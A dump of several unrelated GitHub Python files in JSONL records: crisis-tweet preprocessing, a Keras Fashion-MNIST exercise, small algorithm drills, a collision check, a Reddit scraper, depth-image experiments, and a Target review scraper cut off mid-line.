ngDallas2017A':'shootingDallas2017',\n\t\t'earthquakeBohol2013':'earthquakeBohol2013',\n\t\t'fireYMM2016E':'fireYMM2016',\n\t\t'shootingDallas2017E':'shootingDallas2017',\n\t\t'hurricaneFlorence2018A':'hurricaneFlorence2018',\n\t\t'hurricaneFlorence2018B':'hurricaneFlorence2018',\n\t\t'fireYMM2016A':'fireYMM2016',\n\t\t'hurricaneFlorence2018C':'hurricaneFlorence2018',\n\t\t'hurricaneFlorence2018D':'hurricaneFlorence2018',\n\t\t'fireYMM2016B':'fireYMM2016',\n\t\t'shootingDallas2017B':'shootingDallas2017',\n\t\t'shootingDallas2017C':'shootingDallas2017',\n\t\t'fireYMM2016D':'fireYMM2016',\n\t\t'philippinesEarthquake2019A':'philippinesEarthquake2019',\n\t\t'philippinesEarthquake2019C':'philippinesEarthquake2019',\n\t\t'philippinesEarthquake2019B':'philippinesEarthquake2019',\n\t\t'southAfricaFloods2019C':'southAfricaFloods2019',\n\t\t'cycloneKenneth2019B':'cycloneKenneth2019',\n\t\t'albertaWildfires2019A':'albertaWildfires2019',\n\t\t'albertaWildfires2019B':'albertaWildfires2019',\n\t\t'coloradoStemShooting2019A':'coloradoStemShooting2019',\n\t\t'coloradoStemShooting2019C':'coloradoStemShooting2019',\n\t\t'coloradoStemShooting2019B':'coloradoStemShooting2019',\n\t\t'cycloneKenneth2019A':'cycloneKenneth2019',\n\t\t'southAfricaFloods2019A':'southAfricaFloods2019',\n\t\t'cycloneKenneth2019C':'cycloneKenneth2019',\n\t\t'southAfricaFloods2019B':'southAfricaFloods2019',\n\t\t'philippinesEarthquake2019D':'philippinesEarthquake2019',\n\t\t'sandiegoSynagogueShooting2019A':'sandiegoSynagogueShooting2019',\n\t\t'sandiegoSynagogueShooting2019C':'sandiegoSynagogueShooting2019',\n\t\t'sandiegoSynagogueShooting2019B':'sandiegoSynagogueShooting2019',\n\t\t'albertaWildfires2019C':'albertaWildfires2019',\n\t\t'albertaWildfires2019D':'albertaWildfires2019',\n\t\t'cycloneKenneth2019D':'cycloneKenneth2019',\n# Labels below are not taking into account in our paper, we did not have them at the time we wrote it \n\t\t'fireYMM2016C':'fireYMM2016',\n\t\t'shootingDallas2017D':'shootingDallas2017'}\n\ntweet_id_map = {}\n\nPATH_json = \"./TREC IS annotations/TRECIS_2018_2019-labels.json\"\nPATH_tweets = \"./Tweets/\"\n\n\"\"\"\n---------------------------------------------------------------------------------------------\nAssociation tweets-annotations\n---------------------------------------------------------------------------------------------\n\"\"\"\n\nwith open(PATH_json, \"r\",encoding='ISO-8859-1') as file:\n\ttweets = json.load(file)\n\tfor tweet in tweets:\n\t\tif tweet[\"eventID\"] != 'fireYMM2016C' and tweet[\"eventID\"] != 'shootingDallas2017D':\n\t\t\ttweet_id_map[tweet[\"postID\"]]={}\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"categories\"]=tweet[\"postCategories\"]\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"priority\"]=tweet[\"postPriority\"]\n\t\t\ttweet_id_map[tweet[\"postID\"]][\"event\"]=d_map[tweet[\"eventID\"]]\n\nl_encoding = [\"albertaWildfires2019\",\"coloradoStemShooting2019\",\"cycloneKenneth2019\",\"earthquakeBohol2013\",\"fireYMM2016\",\n\"joplinTornado2011\",\"manilaFloods2013\",\"philippinesEarthquake2019\",\"sandiegoSynagogueShooting2019\",\n\"shootingDallas2017\",\"southAfricaFloods2019\"]\n\nfor files in tqdm(os.listdir(PATH_tweets)):\n\tif not files.startswith('.'):\n\t\twith open(PATH_tweets+files, \"r\",encoding='UTF-8') as file:\n\t\t\tfor line in file:\n\t\t\t\ttweet = json.loads(line)\n\t\t\t\tif tweet[\"allProperties\"][\"id\"] in tweet_id_map:\n\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"text\"] = tweet[\"allProperties\"][\"text\"]\n\t\t\t\t\tsrc = json.loads(tweet[\"allProperties\"][\"srcjson\"])\n\t\t\t\t\tif \"created_at\" in src:\n\t\t\t\t\t\tif \"+0000\" in src[\"created_at\"]:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"created_at\"],'%a %b %d %H:%M:%S +0000 %Y'))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"created_at\"],'%b %d, %Y %H:%M:%S %p'))\n\t\t\t\t\telse:\n\t\t\t\t\t\tif \"+0000\" in src[\"createdAt\"]:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"createdAt\"],'%a %b %d %H:%M:%S +0000 %Y'))\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"timestamp\"] = time.strftime('%Y-%m-%d %H:%M:%S', time.strptime(src[\"createdAt\"],'%b %d, %Y %H:%M:%S %p'))\n\t\t\t\t\tif \"user.id_str\" in tweet[\"allProperties\"]:\n\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"user_id_str\"] = tweet[\"allProperties\"][\"user.id_str\"]\n\t\t\t\t\telse:\n\t\t\t\t\t\ttweet_id_map[tweet[\"allProperties\"][\"id\"]][\"user_id_str\"] = tweet[\"allProperties\"][\"user.id\"]\n\ntweet_id_json = []\nfor i in tweet_id_map:\n\ttweet_id_json.append(dict(id=i,content=dict(tweet_id_map[i])))\n\ndf = pd.DataFrame.from_dict(json_normalize(tweet_id_json), orient='columns')\n\n# The tweets ids were reported High Priority or News by one of the TREC assessor in the first version of the data gave by TREC\nl_ids_other_assessor = ['1040371051706953728','1041619713078571008','1040360701586489344',\n'1040599786125185024','1040614324681826305','1040205012117479424','1040622759368421376','1041401444669288448','1039920284827086848']\n\ndef high_priority(priority,ids):\n\tif priority in [\"High\",\"Critical\"] or ids in l_ids_other_assessor:\n\t\treturn True\n\treturn False\n\ndef news(categories,ids):\n\tfor i in categories:\n\t\tif i==\"ContinuingNews\" or i==\"News\":\n\t\t\treturn True\n\tif ids in l_ids_other_assessor:\n\t\treturn True\n\treturn False\n\n\ndef cleanRaw(x):\n\tx=' '.join(x.split())\n\tx=re.sub(r'&','&',x,flags=re.MULTILINE)\n\tx=html.unescape(x)\n\tx=' '.join(x.split())\n\treturn x\n\ndef clean(x):\n\tx=' '.join(x.split())\n\tx=re.sub(r'&','&',x,flags=re.MULTILINE)\n\tx=html.unescape(x)\n\tx=re.sub(r'http\\S+','',x, flags=re.MULTILINE)\n\t# to remove links that start with HTTP/HTTPS in the tweet\n\tx=re.sub(r'[-a-zA-Z0–9@:%._\\+~#=]{0,256}\\.[a-z]{2,6}\\b([-a-zA-Z0–9@:%_\\+.~#?&//=]*)','',x, flags=re.MULTILINE) \n\t# to remove other url links\n\tx=re.sub(r\"@(\\w+)\", '',x, flags=re.MULTILINE)\n\tx=' '.join(x.split())\n\treturn x\n\ndef _surrogatepair(match):\n\tchar = match.group()\n\tassert ord(char) > 0xffff\n\tencoded = char.encode('UTF-8')\n\treturn (\n\t\tchr(int.from_bytes(encoded[:2], 'little')) + \n\t\tchr(int.from_bytes(encoded[2:], 'little')))\n\ndef with_surrogates(text):\n\treturn _nonbmp.sub(_surrogatepair, text)\n\n_nonbmp = re.compile(r'[\\U00010000-\\U0010FFFF]')\n# _nonbmp = re.compile(r'[\\U0800-\\UFFFF]'))\n\n\n# Order tweets with twin timestamps\nl_twin_timestamp_order = [[\"665284743156637696\",\"665284742686773248\"],\n[\"727629011728224256\",\"727629009207463937\"],\n[\"727630033846603776\",\"727630033288712192\"],\n[\"1121111562779938816\",\"1121111562704437248\"],\n[\"1121111567594950656\",\"1121111566324101120\"],\n[\"1121111566324101120\",\"1111567943327744\"],\n[\"1122228237365587970\",\"1122228235658518531\"],\n[\"1125882096403320833\",\"1125882096877281280\"]]\n\n\ndef timestamp_ordering(df,list_timestamp):\n\tl_df_order = []\n\tfor i in df[\"id\"]:\n\t\tif i in list_timestamp:\n\t\t\tl_df_order.append(i)\n\tif list_timestamp[0]!=l_df_order[0]:\n\t\tl1 = list(df.index[df[\"id\"]==list_timestamp[0]])[0]\n\t\tl2 = list(df.index[df[\"id\"]==list_timestamp[1]])[0]\n\t\ttemp = df.loc[l1].copy()\n\t\tdf.loc[l1] = df.loc[l2]\n\t\tdf.loc[l2] = temp\n\treturn df\n\n\"\"\"\nCreate events file with all tweets\n\"\"\"\n\nfor i in df[\"content.event\"].unique():\n\tif os.path.exists('./Données/Tweets/'+i+'.txt'):\n\t\tos.remove('./Données/Tweets/'+i+'.txt')\n\tfor j in df[df[\"content.event\"]==i][\"content.text\"]:\n\t\twith open('./Données/Tweets/'+i+'.txt','a',encoding='UTF-8') as file:\n\t\t\tfile.write(with_surrogates(cleanRaw(j))+'\\n')\n\n\"\"\"\nCreate summaries\n\"\"\"\n\ndf_redundancy = pd.read_csv(\"./Annotations/annotations_redundancy.txt\")\nl_redundancy = df_redundancy[df_redundancy[\"new\"]==True][\"id\"]\ns_redundancy = set()\nfor i in l_redundancy:\n\ts_redundancy.add(str(i))\ndf3 = df\ndf3 = df3.sort_values(by=[\"content.timestamp\"])\nfor i in l_twin_timestamp_order:\n\tdf3 = timestamp_ordering(df3,i)\ndf3 = df3[df3[\"id\"].apply(lambda x: True if x in s_redundancy else False)]\nfor i in df3[\"content.event\"].unique():\n\tif os.path.exists('./Données/Résumés/'+i+'.txt'):\n\t\tos.remove('./Données/Résumés/'+i+'.txt')\n\tfor j in df3[df3[\"content.event\"]==i][\"content.text\"]:\n\t\twith open('./Données/Résumés/'+i+'.txt','a',encoding='UTF-8') as file:\n\t\t\tfile.write(with_surrogates(clean(j))+'\\n')","repo_name":"AlexisDusart/SetSummTweet","sub_path":"initialization.py","file_name":"initialization.py","file_ext":"py","file_size_in_byte":9861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38823615115","text":"\"\"\"\r\n File name: keras_intro.py\r\n Author: Zonglin Yang\r\n Project: P9\r\n course: cs540 Spring2020\r\n credit: Piazza\r\n\"\"\"\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.keras.layers import Dense, Flatten, Activation, Softmax\r\nfrom tensorflow.keras.losses import SparseCategoricalCrossentropy\r\nimport matplotlib.pyplot as plt\r\n\r\nclass_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat',\r\n 'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']\r\n\r\n\r\n# Takes an optional boolean argument and returns the data as described in the specifications.\r\ndef get_dataset(training=True):\r\n fashion_mnist = keras.datasets.fashion_mnist\r\n (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\r\n\r\n if training:\r\n return train_images, train_labels\r\n else:\r\n return test_images, test_labels\r\n\r\n\r\n# Takes the dataset and labels produced by the previous function and prints several statistics about the data; does\r\n# not return anything.\r\ndef print_stats(images, labels):\r\n class_num = [0] * 10\r\n\r\n print(len(images))\r\n # get canvas size\r\n print('{}x{}'.format(len(images[0]), len(images[0][0])))\r\n # get number of images corresponding to the class labels\r\n for x in labels:\r\n class_num[x] += 1\r\n\r\n for i in range(len(class_names)):\r\n print('{}. {} - {}'.format(i, class_names[i], class_num[i]))\r\n\r\n\r\n# Takes a single image as an array of pixels and displays an image; does not return anything.\r\ndef view_image(image, label):\r\n fig, ax = plt.subplots()\r\n ax.set_title(label)\r\n\r\n # show image and color bar\r\n bar = ax.imshow(image, aspect='equal')\r\n fig.colorbar(bar, ax=ax)\r\n plt.show()\r\n\r\n\r\n# Takes no arguments and returns an untrained neural network as described in the specifications.\r\ndef build_model():\r\n model = keras.Sequential([\r\n Flatten(input_shape=(28, 28)),\r\n Dense(128, activation=Activation('relu')),\r\n Dense(10)\r\n ])\r\n model.compile(\r\n optimizer='adam',\r\n loss=SparseCategoricalCrossentropy(from_logits=True),\r\n metrics=['accuracy']\r\n )\r\n return model\r\n\r\n\r\n# Takes the model produced by the previous function and the images and labels produced by the first function and\r\n# trains the data for T epochs; does not return anything.\r\ndef train_model(model, images, labels, T):\r\n model.fit(x=images, y=labels, epochs=T)\r\n\r\n\r\n# Takes the trained model produced by the previous function and the test image/labels, and prints the evaluation\r\n# statistics as described below (displaying the loss metric value if and only if the optional parameter has not been\r\n# set to False).\r\ndef evaluate_model(model, images, labels, show_loss=True):\r\n test_loss, test_accuracy = model.evaluate(images, labels)\r\n\r\n if show_loss:\r\n print('Loss: {:.2f}'.format(test_loss))\r\n else:\r\n print('Accuracy: {:.2f}%'.format(test_accuracy * 100))\r\n\r\n\r\n# Takes the trained model and test images, and prints the top 3 most likely labels for the image at the given index,\r\n# along with their probabilities.\r\ndef predict_label(model, images, index):\r\n # add softmax layer before predictions\r\n model.add(Softmax())\r\n predictions = model.predict(images)\r\n\r\n # get predicted labels for image at given index\r\n predicted_labels = [(predictions[index][i], class_names[i]) for i in range(len(predictions[index]))]\r\n # sort by highest probability\r\n predicted_labels.sort(reverse=True, key=lambda tup: tup[0])\r\n\r\n # get rid of the softmax layer to avoid duplicate\r\n model.pop()\r\n\r\n for i in range(3):\r\n print('{}: {:.2f}%'.format(predicted_labels[i][1], predicted_labels[i][0] * 100))\r\n\r\n\r\nif __name__ == '__main__':\r\n (train_images, train_labels) = get_dataset()\r\n (test_images, test_labels) = get_dataset(False)\r\n #\r\n print_stats(train_images, train_labels)\r\n print_stats(test_images, test_labels)\r\n #\r\n view_image(train_images[100], class_names[train_labels[100]])\r\n view_image(test_images[2200], class_names[test_labels[2200]])\r\n view_image(test_images[6324], class_names[test_labels[6324]])\r\n view_image(test_images[7777], class_names[test_labels[7777]])\r\n #\r\n model = build_model()\r\n #\r\n train_model(model, train_images, train_labels, 5)\r\n #\r\n evaluate_model(model, test_images, test_labels, show_loss=False)\r\n evaluate_model(model, test_images, test_labels)\r\n #\r\n # model.add(Softmax())\r\n predict_label(model, test_images, 2200)\r\n predict_label(model, test_images, 6324)\r\n predict_label(model, test_images, 7777)","repo_name":"MikeYang1031/CS540-Intro-to-AI-Spring2020","sub_path":"keras_intro.py","file_name":"keras_intro.py","file_ext":"py","file_size_in_byte":4623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74195004072","text":"# 03/08 월요일\n\n# 기본 수학 1 - 달팽이는 올라가고 싶다\n\nA, B, V = map(int, input().split())\n\nday = 1\nif V > A :\n day += (V-A)//(A-B)\n if ((V-A)%(A-B)) :\n day += 1\n\nprint(day)","repo_name":"delilah1004/Algorithm_Python","sub_path":"Baekjoon/week02-1/day3/quiz01.py","file_name":"quiz01.py","file_ext":"py","file_size_in_byte":196,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11015312406","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 1 17:15:11 2023\n\n@author: jihyk\n\"\"\"\n\nimport json\nimport os\n\nos.chdir('C:\\\\Users\\\\jihyk\\\\Dropbox (Partners HealthCare)\\\\Recover-on-Track\\\\01_Technical\\\\02_Python\\\\iPad-record3d\\\\') #set current directory\n\n\nwith open('metadata-depth.json') as user_file:\n file_contents = user_file.read()\n \nprint(file_contents)\n\nparsed_json = json.loads(file_contents)\n\nK = parsed_json['K']\ninitPose = parsed_json['initPose']\n\n#%% convert to depth image\n\nimport numpy as np\nimport cv2\nimport open3d as o3d\n\n# Load the point cloud from a PLY file\npcd = o3d.io.read_point_cloud(\"0000000.ply\")\n\n# Convert the point cloud to a numpy array\npoints = np.asarray(pcd.points)\n\n# Define the camera intrinsics and extrinsics\nK = np.array(K).reshape((3, 3)) # Camera intrinsics\ntx, ty, tz, qx, qy, qz, qw = initPose # Camera extrinsics\n\n# Convert quaternion to rotation matrix\nR = np.array([[1 - 2 * (qy**2 + qz**2), 2 * (qx*qy - qz*qw), 2 * (qx*qz + qy*qw)],\n [2 * (qx*qy + qz*qw), 1 - 2 * (qx**2 + qz**2), 2 * (qy*qz - qx*qw)],\n [2 * (qx*qz - qy*qw), 2 * (qy*qz + qx*qw), 1 - 2 * (qx**2 + qy**2)]])\nt = np.array([[tx], [ty], [tz]])\ninitPose = np.hstack((R, t))\n\n# Determine the dimensions of the depth image\nwidth = parsed_json['dw'] #640 # Width of the color image\nheight = parsed_json['dh'] #480 # Height of the color image\n\n# Calculate the depth image\ndepth_image = np.zeros((height, width))\nfx, fy = K[0, 0], K[1, 1] # Focal length along x and y axes\ncx, cy = K[0, 2], K[1, 2] # Principal point coordinates\nfor point in points:\n # Apply the camera extrinsics\n point_hom = np.append(point, 1)\n point_cam = np.dot(initPose, point_hom)\n x, y, z = point_cam[:3]\n \n # Apply the camera intrinsics\n u = int(np.round(fx * x / z + cx))\n v = int(np.round(fy * y / z + cy))\n \n # Store the depth value in the depth image\n if 0 <= u < width and 0 <= v < height:\n if depth_image[v, u] == 0 or depth_image[v, u] > z:\n depth_image[v, u] = z\n\n# Display the depth image\ncv2.imshow(\"Depth Image\", depth_image / np.max(depth_image))\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n#%%\n\nimport os\nos.environ[\"OPENCV_IO_ENABLE_OPENEXR\"]=\"1\"\nimport cv2\n\n# then just type in following\n\nPATH2EXR = 'C:\\\\Users\\\\jihyk\\\\Dropbox (Partners HealthCare)\\\\Recover-on-Track\\\\01_Technical\\\\02_Python\\\\iPad-record3d\\\\0.exr'\n\nimg = cv2.imread(PATH2EXR, cv2.IMREAD_ANYCOLOR | cv2.IMREAD_ANYDEPTH)\n\nimg = cv2.rotate(img, cv2.ROTATE_90_COUNTERCLOCKWISE)\n'''\nyou might have to disable following flags, if you are reading a semantic map/label then because it will convert it into binary map so check both lines and see what you need\n''' \n#img = cv2.imread(PATH2EXR) \n \nimg2 = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n\ndepth = img2[:,:,2]/3\n\ncv2.imshow('depth',depth)\ncv2.waitKey(0)\n\n#%%\n\nimport OpenEXR\nimport Imath\nimport numpy as np\n\n# Open the EXR file\nexr_file = OpenEXR.InputFile('C:\\\\Users\\\\jihyk\\\\Downloads\\\\File_000\\\\K_Mild_H_1-cup\\\\EXR_RGBD\\\\depth\\\\10.exr')\n\n# Get the header information\nheader = exr_file.header()\n\n# Get the size of the image\ndata_window = header['dataWindow']\nwidth = data_window.max.x - data_window.min.x + 1\nheight = data_window.max.y - data_window.min.y + 1\n\n# Get the channel names\nchannels = header['channels'].keys()\n\n# Extract the depth channel\ndepth_channel = 'Z' # Replace with the name of the depth channel in your EXR file\ndepth = np.fromstring(exr_file.channel(depth_channel, Imath.PixelType(Imath.PixelType.FLOAT)), dtype=np.float32)\ndepth = np.reshape(depth, (height, width))\n\n# Now you can use the 'depth' array to work with the depth information from the EXR file\n\n\n#%%\n\nimport os\n\nos.environ[\"OPENCV_IO_ENABLE_OPENEXR\"] = \"1\"\n\nimport cv2 as cv\n\nhdr = cv.imread(PATH2EXR, cv.IMREAD_UNCHANGED)\n\n\ncv.namedWindow('hdr',\n cv.WINDOW_NORMAL | cv.WINDOW_KEEPRATIO | cv.WINDOW_GUI_EXPANDED)\n\n\nhdr = cv.normalize(hdr, None, 0, 255, cv.NORM_MINMAX, cv.CV_8U)\n\nhdr = cv2.rotate(hdr, cv2.ROTATE_90_COUNTERCLOCKWISE)\n\n\n\nprint('hdr: min {} | max {}'.format(hdr.min(), hdr.max()))\n\n\ncv.imshow('hdr', hdr)\n\ncv.waitKey(0)\ncv.destroyAllWindows()\n\n#%% read ply export with camera extrinsics and intrinsics from metadata \n\nimport open3d as o3d\nimport matplotlib.pyplot as plt\n\n# Load the point cloud\npcd = o3d.io.read_point_cloud('0000001-TD.ply')\n\n\n# Define the rotation matrix (90 degrees around z-axis)\ntheta = np.radians(270)\nc, s = np.cos(theta), np.sin(theta)\nR = np.array(((c, -s, 0), (s, c, 0), (0, 0, 1)))\n\n# Apply the rotation to the point cloud\npcd.rotate(R)\n\n\n# Visualize the point cloud\no3d.visualization.draw_geometries([pcd])\n\n# Define the camera intrinsic parameters\nK = parsed_json['K']\nfx = K[0]\nfy = K[4]\ncx = K[2]\ncy = K[5]\n\n# Define the camera extrinsic parameters\ninitPose = parsed_json['initPose']\ntx, ty, tz, qx, qy, qz, qw = initPose\n\n# Convert quaternion to rotation matrix\nR = np.array([[1 - 2 * (qy**2 + qz**2), 2 * (qx*qy - qz*qw), 2 * (qx*qz + qy*qw)],\n [2 * (qx*qy + qz*qw), 1 - 2 * (qx**2 + qz**2), 2 * (qy*qz - qx*qw)],\n [2 * (qx*qz - qy*qw), 2 * (qy*qz + qx*qw), 1 - 2 * (qx**2 + qy**2)]])\nt = np.array([[tx], [ty], [tz]])\nextrinsics = np.hstack((R, t))\n\n# Create an OffscreenRenderer object\nrender = o3d.visualization.rendering.OffscreenRenderer(640, 480)\n\n# Set up the camera with intrinsic and extrinsic parameters\ncenter = np.array([0, 0, 0], dtype=np.float32)\nfocal_length = np.array([1593.8209228515625, 1593.8209228515625, 0], dtype=np.float32)\nrender.setup_camera(122, center, focal_length, extrinsics, np.array([0, 1, 0], dtype=np.float32))\n\n\n# Render the image\nimage = render.render_to_image()\n\n# Show the rendered image\nplt.imshow(np.asarray(image))\nplt.show()\n\n\n\n#%% \n\nimport pandas as pd\nfrom pyntcloud import PyntCloud\n\ncloud = PyntCloud.from_file('0000000.ply')","repo_name":"jennyk0317/Recover-on-Track","sub_path":"01_Technical/02_Python/read_record3d.py","file_name":"read_record3d.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16346698904","text":"file=open(\"out.txt\")\nresults=eval(file.read())\n\n\nfile1=open(\"result.txt\",\"r\")\ndata=file1.read()\ndata=data.split(\"\\n\")\n\nt=[]\n\nfor i in data:\n t.append(int(i))\n\n\ntrue=0\nfalse=0\nones=0\n\nfalse_pos={}\nfalse_neg=0\n\nfor i in range(2248):\n\n if t[i]==1 and results[i+1][0]>0:\n true+=1\n elif t[i]==0 and results[i+1][0]==0:\n true+=1\n else:\n false+=1\n if t[i]==1:\n ones+=1\n if t[i]==0 and results[i+1][0]>0:\n false_pos[i+1]=results[i+1]\n if t[i]==1 and results[i+1][0]==0:\n false_neg+=1\n\n\n\nprint(false_neg)\nprint(true,false,ones)\nprint(len(false_pos.keys()))\nfile=open(\"false_positives.txt\",\"w\")\nfor key,val in false_pos.items():\n file.write(str(key)+\":\"+str(val)+\"\\n\")\n","repo_name":"manush96/Pun-detection-location-and-interpretation","sub_path":"RNN/accuracy_homographic.py","file_name":"accuracy_homographic.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"22573492077","text":"# while문을 활용한 선형 검색 알고리즘\n\n# 함수 구현\ndef LinearSearch_While(array, key):\n i = 0\n\n while True:\n if i == len(array): # 검색을 실패한 경우: key값이 없을때\n return -1\n if array[i] == key: # 검색을 성공한 경우: key값이 있을때\n return i\n i += 1\n\nindex = int(input(\"인덱스 값을 입력해주세요:\"))\nx = [None] * index\n\nfor i in range(index):\n x[i] = int(input(\"x[%d] 값을 입력해주세요:\" %i))\n\nwantedKey = int(input(\"원하는 key값을 입력해주세요\"))\n\nidx = LinearSearch_While(x, wantedKey)\n\nif idx == -1:\n print(\"원하는 원소가 없습니다.\")\nelse:\n print(\"원하는 값이 x[%d]에 있습니다\" %idx) \n","repo_name":"jjiwoning/Code_Test","sub_path":"python_algo/Algorithm/SearchAlgorithm/LinearSearch_while.py","file_name":"LinearSearch_while.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"37193155189","text":"from Core.BasicDefs import *\n\nclass CollisionObject:\n def __init__( self, vertices, edgeNormals ):\n self.vertices = vertices\n self.edgeNormals = edgeNormals\n\nclass _Projection:\n def __init__( self, minPt, maxPt ):\n self.minPt = minPt\n self.maxPt = maxPt\n def Overlaps( self, other ):\n return not ( ( other.minPt >= self.maxPt ) or ( other.maxPt <= self.minPt ) )\n\ndef _GetProjection( obj, axis ):\n minPt = np.dot( axis, obj.vertices[0] )\n maxPt = minPt\n\n for i in range( 1, len( obj.vertices ) ):\n dot = np.dot( axis, obj.vertices[i] )\n if dot > maxPt:\n maxPt = dot\n elif dot < minPt:\n minPt = dot\n\n return _Projection( minPt, maxPt )\n\ndef ObjectsCollide( objA, objB ):\n for projAxis in objA.edgeNormals:\n projA = _GetProjection( objA, projAxis )\n projB = _GetProjection( objB, projAxis )\n if not projA.Overlaps( projB ):\n return False\n\n for projAxis in objB.edgeNormals:\n projA = _GetProjection( objA, projAxis )\n projB = _GetProjection( objB, projAxis )\n if not projA.Overlaps( projB ):\n return False\n\n return True\n","repo_name":"OHUSAR/OrientedBoundingBoxes","sub_path":"Source/Core/Collisions/CollisionDetector.py","file_name":"CollisionDetector.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37085192037","text":"\"\"\"\nData sources:\nreddit APIs\n\nReferences: https://alpscode.com/blog/how-to-use-reddit-api/\n https://towardsdatascience.com/how-to-use-the-reddit-api-in-python-5e05ddfd1e5c\n\"\"\"\n # Requesting a temporary OAuth token from Reddit\n\nimport requests\nimport pandas as pd\n\nbase_url = \"https://www.reddit.com/\"\ndata = {\"grant_type\": \"password\", \"username\": \"cmsc12200\", \"password\": \"cmsc122002021\"}\nauth = requests.auth.HTTPBasicAuth(\"NcnHg9YC03jQNg\", \"Ayx-RuhcCgs6ii_30ElHE9O1Bu-cCw\")\nheaders = {\"User-agent\": \"keyword-search by cmsc12200\"}\nr = requests.post(base_url + \"api/v1/access_token\",\n data = data,\n headers = headers,\n auth = auth)\n\nTOKEN = r.json()[\"access_token\"]\n\nheaders = {**headers, **{'Authorization': f\"bearer {TOKEN}\"}}\n\nrequests.get('https://oauth.reddit.com/api/v1/me', headers=headers)\n\n\n# Scraping Colleges\n# Colleges to Scrape:\n# Harvard, Princeton, Columbia, MIT, Yale, Stanford, UChicago, UPenn, Caltech, JHU\n\n\nlist_of_schools = [\"Harvard\", \"Princeton\", \"Yale\", \"MIT\", \"Columbia\",\n \"Stanford\", \"UChicago\", \"UPenn\", \"Caltech\", \"JHU\"]\n\n\n\n\ndf = pd.DataFrame()\n\n#pulling title, date-time, content, and reactions to a post\n\nfor school in list_of_schools:\n last_post = None\n for i in range(20):\n r = requests.get(\"https://oauth.reddit.com/r/\" + school + \"/new\",\n headers=headers,\n params= {\"limit\": \"100\", \"after\": last_post})\n for post in r.json()[\"data\"][\"children\"]:\n df = df.append({\n \"subreddit\": (post[\"data\"][\"subreddit\"]).lower(),\n \"title\" : post[\"data\"][\"title\"],\n \"text\": post[\"data\"][\"selftext\"],\n \"upvote_ratio\": post[\"data\"][\"upvote_ratio\"],\n \"ups\":post[\"data\"][\"ups\"],\n \"downs\": post[\"data\"][\"downs\"],\n \"score\": post[\"data\"][\"score\"],\n \"epoch_time\": post[\"data\"][\"created_utc\"],\n \"unique_post_id\": post[\"data\"][\"name\"],\n \"user_id\": post[\"data\"][\"author\"]\n }, ignore_index = True)\n last_post = post[\"data\"][\"name\"]\n \n # This creates a separate csv for every school\n # To create \"all_raw_data.csv\", delete the following two lines\n # and add the following line of code outside of the for loop:\n # df.to_csv(\"all_raw_data.csv\", index = False, header = True)\n df.to_csv(school + \"_raw_data.csv\", index = False, header = True)\n df = pd.DataFrame()\n\n\n","repo_name":"nancysunnieli/College-Subreddit-Data-Analyzer","sub_path":"reddit_scraping.py","file_name":"reddit_scraping.py","file_ext":"py","file_size_in_byte":2527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10197232387","text":"import re\nimport requests\nfrom .models import Project, Product, Review, ProductPageUrl\nimport html\nimport datetime\nimport pytz\nimport logging\nfrom selenium import webdriver\nimport time\nimport random\nimport os\n\nfrom .helpers import *\n\nlogger = logging.getLogger(__name__)\n\ndef get_target_reviews_api(headers_list, product_page_url, project, product, start_date, cutoff_date, brand_website_name):\n if not isinstance(product_page_url, str):\n return\n\n chromedriver = \"/usr/local/chromedriver\"\n os.environ[\"webdriver.chrome.driver\"] = chromedriver\n\n # setup driver\n\n driver = webdriver.Chrome(chromedriver)\n driver.set_window_size(1120, 550)\n driver.set_window_position(-10000, 0)\n\n # setup xpath dict\n xpaths = {\n \"average_rating\": '//*[@id=\"bvTag-reviewsSummary\"]//span[@class=\"h-sr-only h-inlineWrap\"]',\n }\n\n # setup regex dict\n regex = {\n \"rating\": '(.*?) out of 5 stars',\n }\n\n # connect to original review url\n\n succeeded = False\n num_attempts = 0\n max_num_attempts = 20\n while succeeded == False:\n num_attempts += 1\n if num_attempts > max_num_attempts:\n break\n try:\n print(\"Trying\")\n driver.get(product_page_url)\n succeeded = True\n print(\"Succeeded\")\n except:\n print(\"Error\")\n time.sleep(random.randint(2, 5))\n\n error_message = \"error getting average rating text\"\n time.sleep(10)\n result = get_elements(driver, xpaths[\"average_rating\"], error_message)\n\n time.sleep(2)\n\n if result == 'Error':\n product.average_rating = float(0)\n product.save()\n\n else:\n try:\n rating_result = result.pop(0).text\n except:\n logger.warn('No average rating')\n product.average_rating = 